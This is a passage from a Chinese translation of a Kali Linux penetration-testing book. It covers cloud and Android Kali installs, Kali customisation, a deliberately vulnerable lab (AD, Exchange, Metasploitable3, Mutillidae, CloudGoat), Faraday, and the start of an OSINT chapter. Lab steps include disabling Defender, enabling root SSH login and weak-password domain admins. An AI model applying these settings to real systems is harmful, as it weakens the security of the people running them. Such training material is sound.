  3. 根据 GCP 的政策选择一个符合规范的桶名称(不允许大写字母);在我们的例子中,我们创建了桶名称 mastering-kali-linux-edition4

  4. 点击 Upload Files,选择我们刚刚创建的压缩 kali.tar.gz 镜像。上传完成后,您应该能够看到与图 1.19中显示相同的屏幕:

    图 1.19:将压缩镜像上传到 GCP 后,将显示此屏幕

  5. 返回到 Home 页面,选择 Compute Engine;在存储下选择 Images,然后点击 Create Image,并为镜像输入名称,在此情况下,我们输入了 gcp-kali

  6. 输入名称后,选择源为 cloud storage file,点击 Bucket,然后选择我们的压缩 gz 镜像(kali.tar.gz)。

  7. 您可以选择任何您想运行的区域;我们选择了默认区域以供演示。点击 Create,这将带您到显示在图 1.20中的屏幕;如果没有看到该屏幕,请点击该屏幕上的 REFRESH

    图 1.20:新创建的 gcp-kali 镜像在 GCP 镜像中显示

  8. 镜像创建完成后,点击 ActionsCreate instance,如图 1.21所示:

    图 1.21:成功创建我们的 gcp-kali 镜像,准备作为实例运行

  9. 这将带我们进入虚拟机实例屏幕,以输入 Kali Linux 实例信息,如图 1.22所示:

    图 1.22:输入我们的 gcp-kali 实例详细信息并选择运行所需的资源

  10. 我们现在可以选择 CPU(中央处理单元)平台和 GPU(图形处理单元);我们将选择 E2 medium,它提供两个虚拟核心的 vCPU 和 4 GB 内存。我们的镜像包括我们在创建虚拟机时选择的存储(12 GB)。

  11. 最后,确保启动磁盘保持不变—无需更改—然后点击 Create。这将带我们到最后一个屏幕,其中显示了内部和公共 IP 地址,如图 1.23所示:

    图 1.23:成功安装 Kali Linux 作为 GCP 中的实例,具有内部和外部 IP

  12. 我们现在已经成功地在 GCP 上创建并运行了 Kali Linux 实例,现在可以使用在最初创建过程中设置的用户名和密码登录到公共 IP,如 图 1.24 所示:

    图 1.24:成功外部连接到 GCP 上的 Kali Linux 实例

在 Android 上运行 Kali(非 Root 手机)

通过 ARM 镜像的支持,可以直接从 Kali 网站下载 Nethunter 镜像;然而,在本节中我们将尝试不同的方法,在配置达到足够标准的任何 Android 设备上运行 Kali。

我们将使用来自受信任的 Google Play 商店的两个应用程序:

下载 UserLAnd 后,您应该看到与 图 1.25 中相同的界面;选择 Kali

图 1.25:在 UserLAnd 移动应用中选择 Kali Linux

应用程序应该会要求输入您的用户名、密码和 Kali 的 VNC 密码进行登录。完成操作后,应该会弹出一个提示框,要求您选择连接机器人,如 图 1.26 所示:

图 1.26:下载 Kali Linux 镜像后,您将获得两个选项;选择 ConnectBot

我们现在在手持 Android 设备上拥有一个轻量级的 Kali Linux 版本(您可能需要根据需要安装工具;例如,您可以通过运行 sudo apt-get update && apt install routersploit 来收集有关移动设备连接的路由器的信息); 部分界面如 图 1.27 所示:

图 1.27:在 Android 设备上成功安装 Kali Linux

我们现在已经看到如何在 Android 设备上安装并运行 Kali Linux,而无需对设备进行 root。设备上的 Kali Linux 版本在其自己的沙箱中运行;因此,我们可以自由地从设备上进行渗透测试。

组织 Kali Linux

安装只是开始;组织 Kali Linux 是一个非常重要的下一步。在本节中,我们将探讨如何通过自定义组织我们的 Kali Linux。

配置和自定义 Kali Linux

Kali 是一个用于进行渗透测试的框架。然而,测试者不应该仅仅依赖于默认安装的工具或 Kali 桌面的外观和感觉。通过定制 Kali,测试者可以提高收集的客户端数据的安全性,并使渗透测试更加方便。Kali 中常见的定制选项包括以下内容:

  • 重置 Kali 密码

  • 添加非 root 用户

  • 配置网络服务和安全通信

  • 调整网络代理设置

  • 访问安全外壳

  • 加速 Kali 操作

  • 与 Microsoft Windows 共享文件夹

  • 创建加密文件夹

现在让我们进一步查看这些选项。

重置默认密码

如果你下载了预配置的 VMware 或 VirtualBox 镜像,访问 Kali Linux 的默认用户名和密码是kali。建议更改默认密码;为此,请在 Kali Linux 终端中运行以下命令:

sudo passwd kali 

然后系统会提示你输入新密码,并再次确认。

配置网络服务和安全通信

确保能够访问内部网络的第一步是确保它能够连接到有线或无线网络,以支持更新和通信。你可能需要通过动态主机配置协议DHCP)来获取 IP 地址,可以通过附加网络配置文件并添加以太网适配器,使用以下来自 Kali Linux 终端的命令形式:

# sudo nano /etc/network/interfaces
iface eth0 inet dhcp 

一旦网络配置文件被附加,你应该能够运行ifup脚本来自动分配 IP 地址,如图 1.28所示:

图 1.28:通过 DHCP 使用 ifup 脚本成功分配 IP 地址

在静态 IP 的情况下,你可以在相同的网络配置文件中附加以下几行,并快速为你的 Kali Linux 版本设置静态 IP:

# nano /etc/network/interfaces
iface eth0 inet static
address <your address>
netmask <subnet mask>
broadcast <broadcast mask>
gateway <default gateway>
# nano /etc/resolv.conf
nameserver <your DNS ip> or <Google DNS (8.8.8.8)> 

默认情况下,Kali 启用了 DHCP 服务。这样会向网络宣布新的 IP 地址,这可能会提醒管理员测试者的存在。对于某些测试用例,这可能不是问题,并且在启动时自动启动某些服务可能是有利的。可以通过输入以下命令来实现:

update-rc.d networking defaults
/etc/init.d/networking restart 

Kali 安装时带有可根据需要启动或停止的网络服务,包括 DHCP、HTTP、SSH、TFTP 和 VNC 服务器。这些服务通常从命令行调用;然而,一些服务也可以从 Kali 菜单中访问。

调整网络代理设置

位于认证或未认证代理连接背后的用户必须修改bash.bashrcapt.conf文件。这两个文件位于/etc/目录下。使用文本编辑器编辑bash.bashrc文件,如以下所示,在bash.bashrc文件的底部添加以下几行:

export ftp_proxy=ftp://username:password@proxyIP:port
export http_proxy=http://username:password@proxyIP:port
export https_proxy=https://username:password@proxyIP:port
export socks_proxy="https://username:password@proxyIP:port" 

proxyIPport 替换为您的代理 IP 地址和端口号,分别将 usernamepassword 替换为您的身份验证用户名和密码。如果不需要身份验证,只需写 @ 符号后面的部分。保存并关闭文件。

远程访问安全外壳

为了在测试过程中尽量减少目标网络的检测,Kali 默认不启用任何外部监听网络服务。一些服务,如 SSH,已经安装。但是,它们在使用之前必须启用。Kali 默认配置了 SSH 密钥。启动 SSH 服务之前,最好禁用默认密钥并生成唯一的密钥集,代码如下所示。将默认的 SSH 密钥移动到备份文件夹,然后使用以下命令生成新的 SSH 密钥集:

sudo dpkg-reconfigure openssh-server 

要确认 SSH 服务是否正在运行,您可以使用命令 sudo service ssh status 来验证。

请注意,使用默认的 SSH 配置时,root 登录将被禁用。如果需要以 root 账户访问,您可能需要编辑 /etc/ssh/sshd_config 并将 PermitRootLogin 设置为 yes,然后保存并退出。最后,在同一网络上的任何系统上,您应该能够访问 SSH 服务并使用 Kali Linux。在本示例中,我们使用 PuTTY,这是一个免费的便携式 SSH 客户端,适用于 Windows。现在,您应该能够从另一台机器访问 Kali Linux,接受 SSH 证书并输入您的凭据。

提升 Kali 操作速度

有几个工具可以用来优化并加速 Kali 操作:

  • 使用虚拟机时,安装其软件驱动程序包,选择 Guest Additions(VirtualBox)或 VMware Tools(VMware)。

    在安装之前,我们必须确保运行 apt-get update

  • 创建虚拟机时,选择一个固定磁盘大小,而不是动态分配的磁盘。将文件添加到固定磁盘更快,并且文件碎片较少。

  • 默认情况下,Kali 不会显示启动菜单中所有的应用程序。启动过程中安装的每个应用程序都会拖慢系统数据,并可能影响内存使用和系统性能。可以通过以下命令在终端执行此操作:

    • 要列出启动时的所有服务,在终端输入 sudo systemctl list-unit-files --type=service,然后您可以通过运行 sudo systemctl disable --now <nameoftheservice> 来选择禁用不需要的服务。

    • 最后,您可以通过在终端运行 sudo systemctl list-unit-files --type=service --state=enabled --all 来列出已启用的服务。

与主机操作系统共享文件夹

Kali 工具集具有灵活性,可以与位于不同操作系统上的应用程序共享结果,特别是 Microsoft Windows。共享数据最有效的方法是创建一个文件夹,使宿主操作系统和 Kali Linux 虚拟机客户操作系统都能访问。当数据从宿主或虚拟机放入共享文件夹时,它会立即通过共享文件夹提供给所有访问该共享文件夹的系统。创建共享文件夹的步骤如下:

  1. 在宿主操作系统上创建一个文件夹。在此示例中,文件夹名称为kali_Share

  2. 右键点击文件夹,选择共享选项卡。在该菜单中,选择共享

  3. 确保文件与所有人共享,并且此共享的权限级别设置为读/写

  4. 如果你还没有这样做,请分别在 Kali Linux 上安装 VMware 工具或 VirtualBox 客户端附加组件。

  5. 安装完成后,进入 VMware 播放器菜单,选择管理,然后点击虚拟机设置。找到启用共享文件夹的菜单,选择始终启用

  6. 在 Oracle VirtualBox 的情况下,选择虚拟机并进入设置,然后选择共享文件夹,如图 1.29所示:

    图 1.29:从原始操作系统将共享驱动器挂载到客户操作系统

    请注意,旧版本的 VMware Player 使用的是不同的菜单。

  7. 现在,文件夹应该会自动挂载到/media/文件夹中,如图 1.30所示:

    图 1.30:成功将共享驱动器挂载到 Kali Linux 虚拟机

  8. 所有放入该文件夹的内容将在宿主操作系统中以相同名称的文件夹访问,反之亦然。

包含渗透测试敏感数据的共享文件夹必须加密,以保护客户的网络,并减少在数据丢失或被盗时对测试人员的责任。

使用 Bash 脚本定制 Kali

通常,为了维护系统和软件开发,Linux 开发了多个命令行界面(CLI),即shbashcshtcshksh

我们可以利用以下 Bash 脚本,根据我们的渗透测试目标定制 Kali Linux:github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E

搭建验证实验室

作为渗透测试员,建议搭建自己的验证实验室,测试各种漏洞,并在模拟相同环境到生产环境之前,确保有正确的概念验证。

安装指定的目标

为了练习利用技术,建议使用一些已知存在漏洞的软件。在本节中,我们将安装 Metasploitable3,它有 Windows 和 Linux 版本;Metasploit Mutillidae,它是一个 PHP 框架的 Web 应用程序;我们还将使用 CloudGoat,这是一个 AWS 部署工具,用于部署脆弱的 AWS 实例。

实验室网络

我们需要确保创建一个仅供测试人员访问的独立网络——因此,我们将在 VirtualBox 中创建一个 NAT 网络,通过从命令提示符或终端运行以下命令来实现,具体路径取决于操作系统;对于 Windows 系统,路径是 C:\Program Files\Oracle\VirtualBox\

VBoxManage natnetwork add --netname InsideNetwork --network "10.10.10.0/24" –-enable --dhcp on 

请注意,这是单行代码。

活动目录和域控制器

在前一版中,我们讨论了如何在 Windows 2008 R2 上设置活动目录;本节中,我们将升级测试实验室,并在 Windows Server 2016 Datacenter 上安装活动目录。一旦从 Microsoft 下载了 ISO 文件(www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016-essentials),并在 VMware Workstation Player 或 VirtualBox 上安装了操作系统,你应该能够执行以下步骤:

  1. 确保网络适配器连接到正确的网络。选择虚拟机并点击 设置,然后在菜单中点击 网络,确保 启用网络适配器 被勾选,并且 连接方式 选择为 NAT 网络,名称为 InsideNetwork(或者你用来创建实验室网络的名称)。此外,点击 高级 并在 混杂模式 下选择 允许所有(此模式将允许虚拟机之间的所有流量)。

  2. 成功登录 Windows 服务器后,通过在命令行中运行以下命令设置该服务器的静态 IP:

    netsh interface ip set address "ethernet" static 10.10.10.100 255.255.255.0 10.10.10.1 
    
  3. 服务器管理器 中,点击 添加角色和功能

  4. 安装类型 屏幕 中选择 基于角色或基于功能的安装,然后点击 下一步

  5. 默认情况下,系统会从 选择服务器池中的服务器 中选择相同的服务器;点击 下一步

  6. 服务器角色 页面中,在 活动目录域服务 旁边的复选框中打勾。安装域服务还需要其他角色、服务或功能:点击 添加功能,然后点击 下一步

  7. 在 AD DS 安装过程中,通过勾选任何需要的功能旁边的复选框来选择可选功能,然后点击 下一步

  8. 这将带我们进入确认屏幕,显示所有选定的功能和服务;点击 安装,安装完成后,点击 关闭

  9. 选择AD DS;它应该会显示一个警告,指出:需要配置活动目录域服务。现在点击更多以进行部署后配置,这应该会带我们到图 1.31

    图 1.31:将服务器提升为域控制器

  10. 点击将此服务器提升为域控制器

  11. 选择添加一个新森林并输入完全限定域名FQDN)。在此示例中,我们将创建一个新的 FQDN,名为mastering.kali.fourthedition。然后点击下一步

  12. 在下一个屏幕上,对于森林功能级别域功能级别,选择Windows Server 2016并输入目录服务恢复模式DSRM)的密码;点击下一步

  13. 不要选择 DNS 委派——直接点击下一步,它应该会自动识别 NetBIOS 域名为MASTERING。点击下一步

  14. 选择 Active Directory 的数据库、日志文件和 SYSVOL 的位置,最后,应该会出现一个审查屏幕,如图 1.32所示;点击下一步

    图 1.32:Windows Server 2016 上安装 Active Directory 服务器的最后阶段

  15. 必须满足所有先决条件。忽略警告;完成后点击安装

  16. 确认安装选项屏幕上,检查安装内容后点击安装。这样操作将重启系统,并且应该会建立一个新的包含域控制器的 Active Directory 服务器。

要在域中创建一个普通用户,在域控制器的命令行中运行以下命令:

net user normaluser Passw0rd12 /add /domain 

要创建一个域管理员账户,以下命令将创建该用户并将其添加到domain admins组中:

net user admin Passw0rd123 /add /domain
net group "domain admins" admin /add /domain 

要验证这些用户是否已创建,可以通过在命令行中运行net user来使用域控制器;你应该能够看到服务器上的所有本地用户。

我们还将通过在域控制器上运行以下命令来为新的 Exchange 服务器创建一个额外的用户:

net user exchangeadmin Passw0rd123 /add /domain
net group "domain admins" exchangeadmin /add /domain
net group "Schema admins" exchangeadmin /add /domain
net group "Enterprise admins" exchangeadmin /add /domain 

安装 Microsoft Exchange Server 2016

在本节中,我们将设置一个全新的 Windows Server 2016,并在其上安装 Microsoft Exchange 服务。这样做是为了探讨我们将在后续章节中探讨的 Exchange Server 2021 的某些漏洞。

我们将利用与 Active Directory 安装时下载的相同 Windows 2016 ISO 来创建一个全新的服务器。一旦 Windows Server 安装并启动,第一步是确保该服务器现在可以与域控制器的 DNS 服务进行通信;因此,通过运行以下命令或手动编辑以太网适配器设置来设置静态 IP 和 DNS(www.server-world.info/en/note?os=Windows_Server_2016&p=initial_conf&f=4):

netsh interface ip set address "ethernet" static 10.10.10.5 255.255.255.0 10.10.10.1
netsh interface ip add dns "Ethernet" 10.10.10.100 

下一步是将 Exchange 服务器连接到域。这可以通过以下步骤完成:

  1. 进入系统属性。按Windows 键 + R并输入sysdm.cpl;点击更改,这将打开计算机名称/域更改的新界面。

  2. 将计算机名称从默认名称更改为ExchangeServer,然后点击;输入Mastering.kali.fourthedition,如果网络没有问题,你应该会看到提示要求你输入用户名和密码。

  3. 输入先前创建的用户名exchangeadmin,并输入密码;此时你应该看到如图 1.33所示的界面,显示已成功加入域。

  4. 最后一步是重启计算机,以便计算机名称的更改能在域中反映出来:图形用户界面,应用程序 描述自动生成

    图 1.33:成功将 Exchange 服务器添加到 Active Directory 域

以下步骤将把我们的普通 Windows Server 2016 升级为 Exchange 服务器:

  1. www.microsoft.com/en-us/download/details.aspx?id=57827下载 Microsoft Exchange Server 2016 镜像。

  2. 将 ISO 文件通过 VirtualBox 挂载为驱动器,方法是进入设置存储,选择光驱,并添加 Exchange 服务器的 ISO 文件。

  3. 在开始安装之前,我们需要安装一些先决条件,可以直接从 PowerShell(以管理员身份运行)安装,如下所示:

    PS > Install-WindowsFeature NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, Web-Mgmt-Console,
    WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS 
    
  4. 除了这些软件包,你还需要从www.microsoft.com/en-us/download/details.aspx?id=34992下载并安装 Unified Communications Managed API 4.0 Runtime。

  5. 一旦所有先决条件完成,通过在命令行中输入d:来定位驱动器;然后输入setup /PrepareSchema /IAcceptExchangeServerLicenseTerms。如果没有错误发生,你应该看到与图 1.34中相同的屏幕:

    图 1.34:安装 Exchange 服务器前的先决条件检查

  6. 一旦完成所有先决条件分析,我们可以通过运行以下命令来准备我们的 Active Directory,进入下一步:

     setup /Preparedomain /IAcceptExchangeServerLicenseTerms 
    
  7. 作为最后一步,我们将通过运行以下命令在我们的 Exchange 服务器上安装Mailbox角色:

    setup /Mode:Install /Role:Mailbox /IAcceptExchangeServerLicenseTerms 
    
  8. 这将导致所需的 Exchange 服务器组件和软件包成功安装,如图 1.35所示:

    图 1.35:安装 Exchange 服务器工具及其配置

  9. 根据系统性能的不同,这可能需要一些时间。一旦完成,Exchange 服务器上的 Outlook Web Access 应该已启用,端口为443,如图 1.36所示:

    图 1.36:Exchange Server 安装成功,访问地址 https://localhost/owa/

Metasploitable3

Metasploitable3 是一款明显易受攻击的虚拟机(VM),旨在使用 Metasploit 测试多个漏洞。它是以 BSD 风格的许可证发布的。我们将使用两台虚拟机,一台运行过时的 Windows 2008 服务器,另一台运行 Ubuntu 14.04 Linux 服务器,在我们的实验室网络中进行练习。你可以通过首先安装 Vagrant 应用程序来实现此设置。

Vagrant 是一个开源工具,主要用于构建和管理虚拟机环境。你可以从www.vagrantup.com/downloads下载适用于你操作系统的版本。安装应用程序成功后,通过在终端或命令提示符中运行以下命令安装所需插件 vagrant-reloadvagrant-vbguest

Vagrant plugin install vagrant-reload
Vagrant plugin install vagrant-vbguest 

我们现在准备将 Metasploitable3 虚拟机下载到本地系统。我们将使用 vagrant box add 命令配合仓库来下载虚拟机,这些虚拟机托管在 vagrantcloud.com 上:

vagrant box add rapid7/metasploitable3-win2k8 
vagrant box add rapid7/metasploitable3-ub1404 

运行前面的命令应该能提供使用不同服务提供商下载的选项,如下所示的图 1.37

A screenshot of a computer  Description automatically generated with medium confidence

图 1.37:通过 vagrant 下载 Metasploitable3

这些虚拟机被下载到/home/username/.vagrant.d/boxes/c:\users\username\.vagrant.d\boxes\ 文件夹。检查这些文件夹以验证下载情况:

  1. 通过运行 cd C:\Users\user\.vagrant.d\boxes 或 cd /home/username/.vagrant.d/boxes/ 来切换到相应的文件夹。

  2. 我们可以通过运行 vagrant box list 来列出已安装在设备上的下载盒子。

  3. 要运行这些虚拟机,我们需要通过运行 vagrant init metasploitable3-win2k8 来初始化它们。此命令会创建一个名为 Vagrantfile 的配置文件,其中包含所有虚拟机设置。从不同的文件夹运行 vagrant init metasploitable3-ub1404 以避免出现 Vagrantfile already exists 错误消息。

  4. 最后,我们通过运行 vagrant up 启动虚拟机。你应该能看到虚拟机启动。渗透测试者会收到警告 default: Warning: Authentication failure. Retrying,这是由于用于 VM 与 Vagrant 之间 SSH 访问的不安全私钥。成功启动 Metasploitable3 Windows 服务器后,你应该能看到图 1.38所示的屏幕:Graphical user interface, text  Description automatically generated

    图 1.38:VirtualBox 运行 metasploitable 3

  5. 通过运行 vagrant global-status验证当前初始化的系统。

  6. 接下来的重要步骤是更改这些虚拟机的网络设置,将它们连接到我们的实验室网络。选择虚拟机并点击设置。在常规标签下,将虚拟机的名称更改为所需的名称,然后从菜单中点击网络。确保勾选启用网络适配器,并选择附加到NAT 网络,名称为InsideNetwork

我们已经成功地在我们的 VirtualBox 环境中部署了易受攻击的 Metasploitable3 虚拟机,接下来我们将在这些虚拟机上进行更高级的漏洞利用操作。

Mutillidae

Mutillidae 是一个开源的、不安全的 Web 应用程序,旨在供渗透测试人员练习所有与 Web 应用程序相关的漏洞利用。XAMPP 是另一种免费的开源跨平台 Web 服务器解决方案堆栈,可以使用,由 Apache Friends 开发。

我们现在将在新安装的 Microsoft Windows Server 2016(域控制器)服务器上安装 Mutillidae 并托管它:

  1. 您可以直接从www.apachefriends.org/download.html下载 XAMPP,也可以在 PowerShell 中运行以下命令:

    wget https://downloadsapachefriends.global.ssl.fastly.net/7.3.28/xampp-windows-x64-7.3.28-1-VC15-installer.exe?from_af=true -OutFile XAMPP-Installer.exe 
    

    如果在 PowerShell 中运行wget时遇到任何 SSL/TLS 错误,确保在 PowerShell 中运行以下命令:[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12,以确保 Windows Server 支持 TLS 1.2。

  2. 我们将使用 Windows 版本的 XAMPP 7.1.30。一旦应用程序安装完成,确保通过点击 XAMPP 控制面板中的服务下的勾选框来启用 Apache 和 MySQL 服务,如图 1.39所示:图形用户界面 自动生成的描述

    图 1.39:XAMPP 控制面板显示 Apache 和 MySQL 正在运行

  3. 您可以直接从github.com/webpwnized/mutillidae下载最新版本的 Mutillidae,也可以通过在 PowerShell 中运行以下命令来下载:

     wget https://github.com/webpwnized/mutillidae/archive/refs/heads/master.zip -OutFile mutillidae.zip 
    
  4. 解压缩文件并将文件夹复制到C:\yourxampplocation\htdocs\<mutillidae>

  5. 打开Mutillidae文件夹中的.htacess文件,并在其中添加Allow from 10.10.10.0/24,以允许该 IP 范围访问。

  6. 通过点击 XAMPP 控制面板中的操作下的启动按钮,启动 Apache 和 MySQL 服务。您应该能够看到 Web 应用程序在 Windows Server 上成功部署,并且可以通过访问http://10.10.10.100/mutillidae/来访问它。

  7. 您将收到与 MySQL 根访问拒绝相关的数据库错误消息。打开 XAMPP 控制面板,确保 MySQL 服务已启动并运行,然后点击Shell,并按照图 1.40中所示的步骤重置 root 密码:

    mysql –u root
    use mysql
    SET PASSWORD FOR root@localhost = PASSWORD('mutillidae')
    Flush privileges 
    

    文本 自动生成的描述

    图 1.40:从 XAMPP 运行 Shell 并为 root 用户设置 MySQL 密码

  8. 最终成功部署漏洞的 Web 应用程序将导致显示 图 1.41 所示的界面:

    图 1.41:在同一实验室网络内成功访问 Kali Linux 上的 Mutillidae

如果出现数据库离线或类似的错误消息,你需要选择 尝试设置/重置数据库 以修复 Mutillidae。如果遇到其他缺少文件的错误消息 —— 确保通过以管理员身份在 PowerShell 中运行 Set-MpPreference -DisableRealtimeMonitoring $true 来禁用 Defender。

CloudGoat

CloudGoat 是由 Rhino Security Labs 设计的 AWS 部署工具。该工具使用 Python 编写,能够在账户中部署一个故意存在漏洞的 AWS 资源。我们将在 Kali Linux 上设置 CloudGoat Docker 镜像,并探索攻击者在配置错误的云环境中可能利用的各种漏洞。

为了确保 CloudGoat 能够部署 AWS 资源,第一步是拥有一个有效的 AWS 账户。假设我们已经拥有一个来自 Kali on AWS Cloud 部分的账户,我们将执行以下步骤:

  1. 访问 console.aws.amazon.com/iam/home?region=us-east-2#/home

  2. 点击用户,然后点击 添加用户;输入 cloudgoat 并选择 程序化访问;点击 下一步,这应该会带我们到 图 1.42 中显示的界面:

    图 1.42:在 AWS 控制台中创建 IAM 用户账户

  3. 选择 直接附加现有策略 并勾选 AdministratorAccess,如 图 1.43 所示;点击 下一步

    图 1.43:将 IAM 用户添加到 AdministratorAccess 组

  4. 点击 下一步,直到你到达最后阶段。如果没有显示错误信息,你应该会看到如下界面,其中显示了 成功 消息,你可以下载用户的 访问密钥 ID秘密访问密钥

    图 1.44:为 IAM 用户创建访问密钥 ID

既然我们已经在 AWS 账户内创建了具有管理员权限的 IAM 用户,接下来我们将在 Kali Linux 上的 Docker 镜像中安装 CloudGoat,方法是在终端中运行以下命令:

sudo apt install docker.io
sudo docker pull rhinosecuritylabs/cloudgoat
sudo docker run -it rhinosecuritylabs/cloudgoat:latest 

最后,使用 aws configure --profile masteringkali 配置 AWS 客户端,以连接到我们的 AWS 基础设施,并使用我们从 AWS 下载的最新访问密钥和秘密密钥,如 图 1.45 所示。我们将在 第八章云安全漏洞利用 中更详细地探讨此工具:

图 1.45:为新创建的访问密钥配置 AWS 客户端

图 1.46 描述了我们设置的实验架构,用于在我们定义的目标上进行渗透测试:

图形用户界面 描述自动生成,信心中等

图 1.46:我们的《掌握 Kali Linux》实践实验室架构

我们已经成功构建了自己的虚拟化内部实验室,这应该能为我们提供广泛的暴露机会,帮助识别和利用基础设施、应用程序和云中的多个漏洞。我们应该设置以下内容:

  • 一个运行在 Windows Server 2016 上的域控制器,通过 XAMPP 运行 Mutillidae

  • 一个易受攻击的本地 Microsoft Exchange 服务器,运行在 Windows Server 2016 上,缺少必要的补丁。

  • 一个过时的 Microsoft Windows 2008 R2(Metasploitable3 服务器),运行多个易受攻击的服务。

  • 一个域管理员,一个 Exchange 管理员,以及一个普通的域用户——我们将在本书的后续部分利用这些角色执行基于角色的权限提升。

  • 在 Docker 镜像上的 AWS 云部署工具,用于设置易受攻击的 AWS 基础设施资源。

测试人员必须确保所有在此实验室网络中创建的虚拟机,网络设置始终为 NAT 网络,网络名称为 InsideNetwork,以便虚拟机之间可以互相通信。

使用 Faraday 管理协作渗透测试

渗透测试中最困难的方面之一是记住测试网络或系统目标的所有相关部分,或者在测试完成后记得目标是否实际测试过。在某些情况下,单个客户可能有多个渗透测试人员在多个位置执行扫描活动,而管理层希望能看到一个单一的视图。Faraday 可以提供这种功能,前提是所有渗透测试人员能够在同一网络上或通过互联网进行相互 ping 测试,以进行外部评估。

Faraday 是一个多用户渗透测试 集成开发环境IDE)。它旨在帮助测试人员分发、索引和分析渗透测试或技术安全审计过程中生成的所有数据,提供不同的视图,例如 管理执行摘要总体问题 列表。

这个 IDE 平台是由 InfoByte 使用 Python 开发的,最新版本的 Kali Linux 默认安装了版本 3.14.3。你可以从菜单中导航到 应用程序,点击 12-报告工具,然后点击 Faraday 启动。它应该会打开一个新的屏幕,供你输入密码以执行服务更改。现在,你应该看到以下屏幕,设置 Faraday Web 门户的用户名和密码。

一旦设置好用户名和密码,应用程序应该打开一个指向 http://localhost:5985/ 的网页浏览器。

现在,你将能够为每个项目创建工作空间。下一步是确保所有要使用 Faraday 客户端的测试人员,通过在终端运行faraday-client来执行所有任务;它会提示你输入应用程序的凭据。使用刚刚创建的凭据,你现在应该能够看到与图 1.47相同的界面:

Text  Description automatically generated

图 1.47:通过 Faraday 客户端运行 Nmap 扫描

在此界面之后,你或你团队中的其他渗透测试人员执行的任何扫描命令行操作都可以通过点击Faraday web应用程序进行可视化;这将显示类似于图 1.48所示的内容:

Graphical user interface, text, application  Description automatically generated

图 1.48:Faraday 的实时仪表盘

Faraday 3.15.0 免费版存在一个限制,即测试人员无法利用实时操作、洞察和数据分析功能在一个地方可视化所有问题列表。

总结

在本章中,我们探讨了不同的威胁行为者及其动机,以及一些方法论和基于目标的渗透测试,这些方法有助于组织测试自己应对实时攻击的能力。我们学习了渗透测试人员如何在不同平台上使用 Kali Linux 来评估数据系统和网络的安全性。我们简要了解了如何在不同的虚拟化和云平台上安装 Kali,并运行了 Kali Linux 操作系统的 Docker 镜像,同时也在一部非 root 的 Android 手机上运行了该镜像。

我们建立了自己的验证实验室,设置了 Active Directory 域服务,以及一个 Exchange Server 实例,并在同一网络上配置了两台虚拟机,其中一台托管着一个存在漏洞的 Web 应用程序。最重要的是,我们学习了如何定制 Kali,以提高我们工具的安全性和它们收集的数据的安全性。我们的目标是让工具支持我们的过程,而不是让过程适应工具!

在下一章中,我们将学习如何在这个时代有效掌握开源情报OSINT),以识别目标的薄弱攻击面,并创建定制化的用户名和密码列表,以便进行更有针对性的攻击,并通过暗网等方法提取这些细节。

第二章:开放源代码情报与被动侦察

收集目标的所有可能信息始终是渗透测试人员思考中的最重要方面,以实现最佳结果。在网络安全领域,通过公开来源收集信息通常被称为开放源代码情报OSINT)。通过 OSINT 进行的被动侦察发生在渗透测试或对某个组织进行攻击的第一步中。攻击者通常会将渗透测试整体工作量的最多 75%投入到侦察阶段,因为正是这个阶段定义、映射并探索目标的漏洞,这些漏洞最终会导致成功的利用。

侦察有两种类型:

  • 被动侦察(直接和间接)

  • 主动侦察

被动侦察是收集和分析公开可用信息的艺术,通常来自目标本身或在线的公共资源。在访问这些信息时,测试人员或攻击者不会以异常方式与目标互动——请求和活动不会被记录,因此不会直接追溯到测试人员。因此,被动侦察首先进行,以最小化可能表明即将发生攻击或识别攻击者的直接接触。

本章将介绍被动侦察和 OSINT 的原则与实践,包括以下内容:

  • 侦察的基本原则

  • OSINT

  • 在线资源和暗网搜索

  • 获取用户信息

  • 为密码列表进行用户画像

  • 利用社交媒体提取密码字典

主动侦察,涉及与目标的直接互动,将在第三章中讲解,外部与内部网络的主动侦察

侦察的基本原则

侦察(Reconnaissance),或称为侦查,是进行渗透测试或攻击数据目标时的第一步。它是在实际测试或攻击目标网络之前进行的。侦察的结果将帮助我们了解是否需要进一步的侦察,或者在利用阶段能够利用的漏洞。侦察活动根据与目标网络或设备的互动程度分为不同的等级。

被动侦察不涉及与目标网络的任何恶意直接互动。攻击者的源 IP 地址和活动不会被记录(例如,对目标的电子邮件地址进行 Google 搜索不会留下目标可以检测到的痕迹)。目标很难,甚至几乎不可能,将被动侦察与正常的商业活动区分开来。

被动侦察进一步分为直接和间接两类。直接被动侦察涉及攻击者与目标进行的正常互动。例如,攻击者会登录到公司网站,查看各种页面,并下载文档以供进一步研究。这些互动是预期的用户活动,很少会被视为攻击的前兆。间接被动侦察则完全不会与目标组织进行任何互动。

相反,主动侦察涉及直接查询或其他互动(例如,针对目标网络的端口扫描),这些操作可能会触发系统警报,或者允许目标捕获攻击者的 IP 地址和活动。这些信息可能会被用于识别和逮捕攻击者,或在法律程序中使用。因此,被动侦察的风险要低得多,但与其主动对等物一样,也有其局限性。

渗透测试者或攻击者通常遵循一个结构化的信息收集过程,从广泛的范围(商业和监管环境)开始,逐步深入到更具体的信息(用户账户数据)。

为了提高效率,测试者在收集信息之前应该确切知道自己要寻找什么以及这些数据将如何使用。通过使用被动侦察并限制收集的数据量,可以最小化被目标检测到的风险。

OSINT

渗透测试或攻击的第一步是使用 OSINT 收集信息。这是从公共来源,特别是通过互联网收集信息的艺术。可用的信息量相当大——大多数情报和军事组织都在积极进行 OSINT 活动,以收集关于目标的信息,并防范泄露有关它们的数据。

OSINT 可以分为两种类型:进攻性防御性。进攻性主要处理收集所有准备对目标发动攻击所需的数据,而防御性则是收集关于先前安全漏洞和其他与目标相关的安全事件的数据,这些数据可以用来进行防御或保护自己。图 2.1 中展示了 OSINT 的基本思维导图:

